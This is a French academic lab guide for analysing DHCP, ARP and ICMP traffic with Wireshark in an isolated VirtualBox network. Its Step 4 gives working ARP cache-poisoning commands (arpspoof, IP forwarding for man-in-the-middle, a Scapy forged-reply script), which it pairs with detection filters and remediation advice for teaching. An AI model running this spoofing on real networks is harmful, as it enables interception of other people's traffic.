ANALYSE DE TRAFIC & DÉTECTION D'ANOMALIES IPV4

Guide d'Ingénierie Réseau : Architecture, Outils Linux & Commandes des 5 Étapes

Projet : Protocoles Auxiliaires IPv4 (DHCP, ARP, ICMP, IGMP)

Hôte de travail : Windows (Windows 10 / 11)

Hyperviseur recommandé : Oracle VirtualBox

Outils d'analyse : Wireshark, TShark, tcpdump

Systèmes invités : Debian 12 (Client/Serveur) & Kali Linux (Audit)

Outils Linux d'audit : dsniff (arpspoof), iproute2, Scapy

1. Comprendre le Projet et ses Enjeux

Les réseaux IPv4 reposent sur un ensemble de protocoles fondamentaux sans lesquels la communication de niveau 3 ne pourrait avoir lieu. Ces protocoles auxiliaires assurent la négociation d'adresses, la résolution d'adresses physiques, le diagnostic et le routage multicast :

- **DHCP (Dynamic Host Configuration Protocol) :** Permet la configuration automatique des paramètres IP (adresse IP, masque de sous-réseau, passerelle par défaut, serveurs DNS). Il s'appuie sur le protocole de transport UDP (ports 67 serveur et 68 client) à travers un cycle à 4 étapes clé nommé **DORA** (Discover, Offer, Request, Acknowledge).
- **ARP (Address Resolution Protocol) :** Assure la correspondance dynamique entre l'adresse logique (IPv4, 32 bits) et l'adresse physique matérielle (MAC, 48 bits) sur le réseau local. Ne disposant nativement d'aucun mécanisme d'authentification, ARP est vulnérable à l'usurpation (*ARP Spoofing / Cache Poisoning*).
- **ICMP (Internet Control Message Protocol) :** Véhicule les messages de diagnostic et de signalement d'erreurs (par ex. hôte ou réseau inaccessible, expiration de la durée de vie TTL lors d'un *traceroute*, requêtes et réponses d'écho *ping*).
- **IGMP (Internet Group Management Protocol) :** Permet aux hôtes de signaler leur appartenance à un groupe de diffusion multicast auprès des routeurs locaux.

L'objectif de ce projet est de déployer un banc d'essai expérimental virtuel, d'engendrer le trafic propre à chacun de ces protocoles, de le disséquer précisément avec l'analyseur de paquets **Wireshark**, et de simuler une anomalie de sécurité (ARP Cache Poisoning) afin de documenter les signatures révélatrices et les filtres de détection avancés.

2. Choix de l'Environnement et de la Virtualisation sous Windows

Sur une machine hôte physique équipée de Windows, plusieurs options s'offrent pour concevoir ce laboratoire réseau. Voici l'analyse comparative des architectures possibles :

Environnement	Avantages	Inconvénients	Verdict pour ce projet
Oracle VirtualBox (Recommandé)	• Isolation réseau complète via le mode *Réseau Interne* (intnet). • Aucun risque de perturber le réseau physique ou la Box de votre domicile. • Intégration fluide de Wireshark directement dans l'interface graphique de Kali ou Debian. • Gestion parfaite de 3 VMs légères (Debian netinst + Kali).	Nécessite ~6 à 8 Go de RAM libre sur Windows pour faire tourner 3 machines virtuelles simultanément.	**Idéal & Robuste.** C'est la solution la plus simple, la plus fiable et la plus représentative d'un réseau physique réel.
GNS3 avec VPCS & Docker	Très économe en RAM (noeuds VPCS ultra-légers).	Nécessite l'installation de la GNS3 VM sous Windows (WSL2 ou VMware) ; configuration de conteneurs Docker plus complexe pour configurer les serveurs DHCP et les attaques ARP.	Moins convivial si vous souhaitez exécuter facilement des utilitaires Linux graphiques.
Conteneurs Docker purs	Très rapide à démarrer, consommation minimale.	Sous Windows, Docker Desktop tourne dans WSL2, ce qui complexifie la capture native L2 (ARP, DHCP broadcast) et le monitoring Wireshark.	Déconseillé pour l'analyse précise des trames Ethernet de niveau 2.

> **Recommandation d'architecture optimale :**
> Utiliser **Oracle VirtualBox** sur votre machine Windows avec **3 machines virtuelles Linux** reliées entre elles sur le même commutateur virtuel via un **« Réseau Interne »** nommé par exemple `lab-reseau` :
>
> 1. **VM 1 - Serveur (Debian 12 Légère / Minimal) :** Rôle de serveur DHCP (et passerelle/hôte cible pour les tests). Configuration : 1 vCPU, 1024 Mo de RAM.
> 2. **VM 2 - Client (Debian 12 Légère / XFCE ou console) :** Rôle de client DHCP et station de test légitime. Configuration : 1 vCPU, 1024 Mo de RAM.
> 3. **VM 3 - Observateur & Auditeur (Kali Linux) :** Équipée de Wireshark graphique pour capturer le trafic, et d'outils d'audit réseau (`arpspoof` , `dsniff` , `scapy`) pour simuler l'usurpation ARP de l'Étape 4. Configuration : 2 vCPUs, 2048 Mo de RAM.

3. Guide Détaillé & Commandes des 5 Étapes du Projet

Étape 1 : Mise en Place de l'Environnement de Laboratoire

Cette étape consiste à préparer le commutateur virtuel, à raccorder les 3 machines virtuelles et à installer les outils logiciels Linux requis.

1.1. Configuration des cartes réseau dans VirtualBox

Pour chaque VM (dans la fenêtre de gestion de VirtualBox sous Windows) :

- Ouvrez *Configuration* > *Réseau* > *Adaptateur 1*.
- Cochez *Activer l'interface réseau*.

- Dans *Mode d'accès réseau*, choisissez impérativement : **Réseau Interne**.
- Dans *Nom*, saisissez le même nom pour les 3 machines : `lab-reseau`.
- Déroulez *Avancé* et réglez **Mode Promiscuité** sur : **Autoriser tout** (indispensable pour que Kali et Wireshark puissent voir toutes les trames transitant sur le bus virtuel).

> **Astuce pour l'accès Internet initial :** Pour installer les paquets (apt install), configurez temporairement une *deuxième interface (Adaptateur 2)* en **NAT** sur chaque VM. Une fois les paquets installés, vous pourrez désactiver l'Adaptateur 2 pour travailler en circuit fermé étanche.

1.2. Commandes d'installation des outils sur chaque machine

Sur la VM Serveur (Debian) :

```
# Mise à jour des dépôts
sudo apt update

# Installation du serveur DHCP et des utilitaires réseau
sudo apt install -y isc-dhcp-server net-tools iproute2 tcpdump ethtool
```

Sur la VM Client (Debian) :

```
sudo apt update
sudo apt install -y isc-dhcp-client net-tools iproute2 traceroute iputils-ping
```

Sur la VM Auditeur / Observateur (Kali Linux) :

```
sudo apt update
# Installation de Wireshark, TShark, dsniff (contenant arpspoof) et Scapy
sudo apt install -y wireshark tshark dsniff python3-scapy net-tools iputils-ping
traceroute

# Permettre à l'utilisateur non-root de capturer des trames avec Wireshark
sudo usermod -aG wireshark $USER
```

1.3. Plan d'adressage IP du laboratoire

Machine	Rôle	Interface	Adresse IP fixe / dynamique
VM Serveur	Serveur DHCP / Hôte A	`eth0` ou `enp0s3`	`192.168.10.1 /24` (Statique)
VM Client	Station cliente / Hôte B	`eth0` ou `enp0s3`	Attribuée par DHCP (Plage `192.168.10.50` à `192.168.10.100`)
VM Kali	Sonde Wireshark & Attaquant	`eth0` ou `enp0s3`	`192.168.10.200 /24` (Statique)

Étape 2 : Capture et Analyse du Trafic DHCP (Processus DORA)

Le protocole DHCP fonctionne par échange de datagrammes UDP en diffusion (broadcast) et monodiffusion (unicast).

2.1. Configuration et démarrage du service DHCP sur la VM Serveur

Identifiez le nom de l'interface réseau sur le serveur (via `ip -br link`) : notons-la `eth0`.

```
# 1. Attribuer l'adresse statique au serveur
sudo ip addr flush dev eth0
sudo ip addr add 192.168.10.1/24 dev eth0
sudo ip link set eth0 up

# 2. Spécifier l'interface d'écoute du serveur DHCP dans /etc/default/isc-dhcp-server
sudo sed -i 's/INTERFACESv4=""/INTERFACESv4="eth0"/' /etc/default/isc-dhcp-server

# 3. Écrire la configuration de la plage DHCP dans /etc/dhcp/dhcpd.conf
sudo tee /etc/dhcp/dhcpd.conf << 'EOF'
default-lease-time 600;
max-lease-time 7200;
authoritative;

subnet 192.168.10.0 netmask 255.255.255.0 {
    range 192.168.10.50 192.168.10.100;
    option routers 192.168.10.1;
    option subnet-mask 255.255.255.0;
    option domain-name-servers 1.1.1.1, 8.8.8.8;
}
EOF

# 4. Démarrer le service et vérifier son statut
sudo systemctl restart isc-dhcp-server
sudo systemctl status isc-dhcp-server --no-pager
```

2.2. Lancement de la capture Wireshark

Sur la VM Kali (ou sur le serveur via TShark/tcpdump) :

```
# Lancer Wireshark en mode graphique
wireshark &

# Ou capturer en ligne de commande avec tshark dans un fichier .pcap
sudo tshark -i eth0 -f "udp port 67 or udp port 68" -w /tmp/capture_dhcp.pcap
```

Dans l'interface Wireshark, appliquez le filtre d'affichage : `dhcp` ou `bootp`.

2.3. Déclenchement du processus d'allocation DORA sur la VM Client

```
# 1. Libérer l'adresse IP actuelle (envoi d'un DHCP Release)
sudo dhclient -r -v eth0

# 2. Vider les résidus de configuration
sudo ip addr flush dev eth0

# 3. Solliciter une nouvelle attribution complète (DORA)
sudo dhclient -v eth0

# 4. Constater l'adresse obtenue
ip addr show eth0
```

2.4. Grille d'analyse séquentielle du cycle DORA sous Wireshark

Phase	Message DHCP	IP Source / Dest	MAC Source / Dest	Rôle et Contenu Analysé
D	**DHCP Discover**	`0.0.0.0` → `255.255.255.255`	Client MAC → `ff:ff:ff:ff:ff:ff`	Le client diffuse une requête pour localiser un serveur DHCP disponible. Contient le *Client MAC* et la liste des options requises (Option 55).
O	**DHCP Offer**	`192.168.10.1` → `192.168.10.50` (ou broadcast)	Serveur MAC → Client MAC	Le serveur propose une adresse IP libre (champ `yiaddr` = *Your IP Address*), la durée du bail (Option 51) et les paramètres réseau.
R	**DHCP Request**	`0.0.0.0` → `255.255.255.255`	Client MAC → `ff:ff:ff:ff:ff:ff`	Le client confirme formellement qu'il accepte l'offre proposée en précisant l'identifiant du serveur (Option 54) et l'adresse demandée (Option 50).
A	**DHCP ACK**	`192.168.10.1` → `192.168.10.50` (ou broadcast)	Serveur MAC → Client MAC	Le serveur valide définitivement l'attribution et enregistre le bail dans sa base de données locale.

Étape 3 : Investigation des Requêtes et Tables ARP

Le protocole ARP opère à la frontière entre les couches 2 (Liaison de données) et 3 (Réseau).

3.1. Commandes de manipulation du cache ARP sous Linux

```
# Afficher le cache ARP actuel (format standard)
ip neigh show
# Ou commande historique :
arp -n

# Vider intégralement la table ARP sur le client (nécessite les privilèges root)
sudo ip neigh flush all

# Vérifier que le cache est vide
ip neigh show
```

3.2. Génération de trafic de résolution ARP

Sur la VM Client, après avoir vidé la table ARP, émettez un ping vers le serveur (`192.168.10.1`) :

```
# Exécuter 2 paquets ping vers le serveur
ping -c 2 192.168.10.1

# Examiner à nouveau le cache ARP pour voir l'entrée apprise dynamiquement
ip neigh show
```

3.3. Analyse de la trame ARP dans Wireshark

Filtre d'affichage Wireshark : `arp`

- **ARP Request (Opcode 1) :**

- Trame Ethernet L2 : Adresse de destination = `ff:ff:ff:ff:ff:ff` (Broadcast). Tout le réseau reçoit la demande.
- Charge utile ARP : *Sender MAC* = MAC Client, *Sender IP* = 192.168.10.50, *Target MAC* = `00:00:00:00:00:00` (inconnu), *Target IP* = 192.168.10.1 ("Who has 192.168.10.1? Tell 192.168.10.50").

- **ARP Reply (Opcode 2) :**
  - Trame Ethernet L2 : Adresse de destination = MAC Client (Unicast strict).
  - Charge utile ARP : *Sender MAC* = MAC Serveur, *Sender IP* = 192.168.10.1 ("192.168.10.1 is at [MAC Serveur]").

Étape 4 : Simulation et Détection d'une Usurpation ARP (ARP Spoofing)

L'usurpation de cache ARP (*ARP Poisoning*) exploite le fait qu'un système d'exploitation accepte et mémorise les paquets ARP Reply même s'il n'a émis aucune requête préalable (*Gratuitous ARP* ou réponse non sollicitée).

4.1. Configuration de la VM Attaquante (Kali Linux)

La machine Kali possède l'IP `192.168.10.200`. Elle va faire croire au Client (`192.168.10.50`) qu'elle est le Serveur (`192.168.10.1`).

```
# 1. Vérifier l'état du routage IP (si vous souhaitez intercepter et relayer le trafic - mode MitM)
sudo sysctl -w net.ipv4.ip_forward=1

# 2. Lancer l'attaque d'empoisonnement avec l'outil Linux arpspoof (paquet dsniff)
# Syntaxe : arpspoof -i  -t
sudo arpspoof -i eth0 -t 192.168.10.50 192.168.10.1

# (Optionnel - Pour un empoisonnement bidirectionnel, ouvrir un 2ème terminal sur Kali) :
sudo arpspoof -i eth0 -t 192.168.10.1 192.168.10.50
```

Alternative avec un script Python Scapy (génération de trames falsifiées à la demande) :

```
# Script python pour injecter une réponse ARP forgée non sollicitée
python3 -c "
from scapy.all import *
target_ip = '192.168.10.50'
fake_ip = '192.168.10.1'
# Opcode 2 = Reply (is-at)
poison_packet = ARP(op=2, pdst=target_ip, psrc=fake_ip)
send(poison_packet, count=10, inter=1)
print('Paquets ARP empoisonnés émis !')
"
```

4.2. Constat de la corruption sur la VM Client

Sur la machine Client, observez comment la table ARP a été falsifiée :

```
ip neigh show
```

Observation : L'adresse IP du serveur `192.168.10.1` est désormais associée à la véritable adresse MAC de la machine Kali ! Tout le trafic légitime destiné au serveur passe désormais par Kali.

4.3. Détection et Diagnostic sous Wireshark

Wireshark intègre un moteur d'analyse experte capable de déceler l'usurpation :

1. **Filtres de recherche d'anomalie :**
   - `arp.duplicate-address-frame` : Isole immédiatement les trames où une adresse IP apparaît associée à une adresse MAC différente de celle vue précédemment.
   - `expert.severity == warning or expert.severity == error` : Répertorie les avertissements du moteur Wireshark. Vous verrez apparaître la mention explicite : *"Duplicate IP address detected for 192.168.10.1"*.
2. **Menu Statistiques de Wireshark :**
   - *Statistiques > Endpoints (Points de terminaison) :* Examinez les onglets *IPv4* et *Ethernet*. Vous repérerez deux adresses MAC distinctes générant du trafic pour la même adresse IPv4 `192.168.10.1`.
   - *Statistiques > Conversations :* Permet de visualiser le volume anormal de paquets ARP échangés en un laps de temps réduit (rafales d'annonces).

Étape 5 : Analyse des Messages de Diagnostic ICMP

Le protocole ICMP (type de protocole IP 1) transmet des messages d'information et d'anomalie réseau.

5.1. Commandes Linux pour générer différents codes et types ICMP

```
# 1. Écho standard (Type 8 Echo Request, Type 0 Echo Reply)
ping -c 3 192.168.10.1

# 2. Modification de la taille du payload (données utiles)
# Génère un paquet total de 1028 octets (1000 octets payload + 8 ICMP + 20 IP)
ping -c 2 -s 1000 192.168.10.1

# 3. Forcer la détection de la MTU / Ne pas fragmenter (Don't Fragment - DF)
# Si la taille dépasse la MTU (1500), le système génère une erreur locale ou un ICMP Type 3 Code 4
ping -c 2 -M do -s 1600 192.168.10.1

# 4. Forcer l'expiration du Time-to-Live (TTL Exceeded - Type 11 Code 0)
# En fixant le TTL à 1, le paquet est détruit dès le premier saut routeur
ping -c 2 -t 1 1.1.1.1

# 5. Déclenchement d'un Port Unreachable (Type 3 Code 3)
# Envoyer un datagramme UDP vers un port fermé sur le serveur
nc -u -z -v 192.168.10.1 54321

# 6. Exécution d'un traceroute utilisant les paquets ICMP
traceroute -I 192.168.10.1
```

5.2. Synthèse des Types et Codes ICMP à documenter sous Wireshark

Filtre d'affichage Wireshark : `icmp`

Type	Code	Désignation	Contexte d'apparition & Champs à observer
8	**0**	Echo (ping) Request	Émis par le client. Observer les champs *Identifier* et *Sequence Number* (BE/LE).
0	**0**	Echo (ping) Reply	Réponse du destinataire. Les numéros de séquence et d'identifiant correspondent exactement à la requête.
11	**0**	Time-to-Live Exceeded	Le paquet IP a vu son champ TTL décrémenté à 0 par un équipement intermédiaire (base du *traceroute*).
3	**3**	Destination Unreachable : Port Unreachable	La machine de destination a bien reçu le paquet mais aucun service n'écoute sur le port UDP sollicité.
3	**1**	Destination Unreachable : Host Unreachable	Émis lorsqu'un hôte ne répond pas aux requêtes de résolution ARP locales après plusieurs tentatives.

4. Note de Synthèse : Filtres Wireshark Avancés & Livrables

4.1. Guide des filtres avancés pour repérer rapidement les anomalies

Objectif de Surveillance	Filtre d'affichage Wireshark recommandé
Détection d'usurpation ARP	`arp.duplicate-address-frame` ou `arp.opcode == 2 and eth.dst == ff:ff:ff:ff:ff:ff` (Gratuitous ARP Reply diffusé)
Tempête de requêtes ARP	`arp.opcode == 1` (Utiliser ensuite *Statistiques* > *Graphique E/S* pour mesurer le débit de paquets/sec)
Isolation stricte du trafic DHCP	`bootp.type == 1` (Requêtes/Discovers) ou `bootp.type == 2` (Offres/Acks)
Détection de serveur DHCP pirate (Rogue DHCP)	`bootp.option.type == 53 and !(ip.src == 192.168.10.1)` (Détecte toute offre ne provenant pas du serveur officiel)
Anomalies et erreurs ICMP	`icmp.type == 3` (Inaccessibilités) ou `icmp.type == 11` (Boucles de routage / TTL dépassé)
Alertes et warnings globaux Wireshark	`expert.severity >= _ws.expert.WARN`

4.2. Conseils pour la rédaction de vos livrables académiques

1. **Pour le Rapport Technique (Livrable 1) :**
   - Prenez des captures d'écran nettes de la fenêtre Wireshark en sélectionnant les 3 panneaux (Liste des paquets, Arbre des détails du paquet déroulé sur le protocole cible, et Octets bruts).
   - Encadrez en rouge sur vos captures les champs clés analysés (par ex. pour DHCP : Option 53 Message Type, yiaddr ; pour ARP : Sender MAC/IP vs Target MAC/IP ; pour ICMP : Type et Code).
   - Pour l'attaque ARP Spoofing, fournissez deux captures comparatives d'écran : *La table ARP avant l'attaque* et *La table ARP corrompue après l'attaque*, accompagnées de la trame Wireshark marquée en avertissement rouge par l'analyseur d'experts.
2. **Pour la Note de Synthèse (Livrable 2) :**
   - Rappelez pourquoi les protocoles auxiliaires IPv4 ont été conçus sans chiffrement ni authentification à l'origine (modèle historique basé sur la confiance au sein du LAN).

- Expliquez les mécanismes modernes de remédiation sur commutateurs administrables : **DHCP Snooping** (pour bloquer les faux serveurs DHCP) et **DAI (Dynamic ARP Inspection)** (pour valider la conformité des trames ARP avec la table DHCP).

> **Résumé des commandes à retenir :**
> • **DHCP :** `sudo dhclient -r eth0 && sudo dhclient -v eth0` | Filtre : `dhcp` ou `bootp`
> • **ARP :** `sudo ip neigh flush all && ping -c 2 <IP>` | Filtre : `arp`
> • **Attaque ARP :** `sudo arpspoof -i eth0 -t <Cible> <IP_Usurpée>` | Filtre : `arp.duplicate-address-frame`
> • **ICMP :** `ping -c 2 -s 1000 <IP>` et `traceroute -I <IP>` | Filtre : `icmp`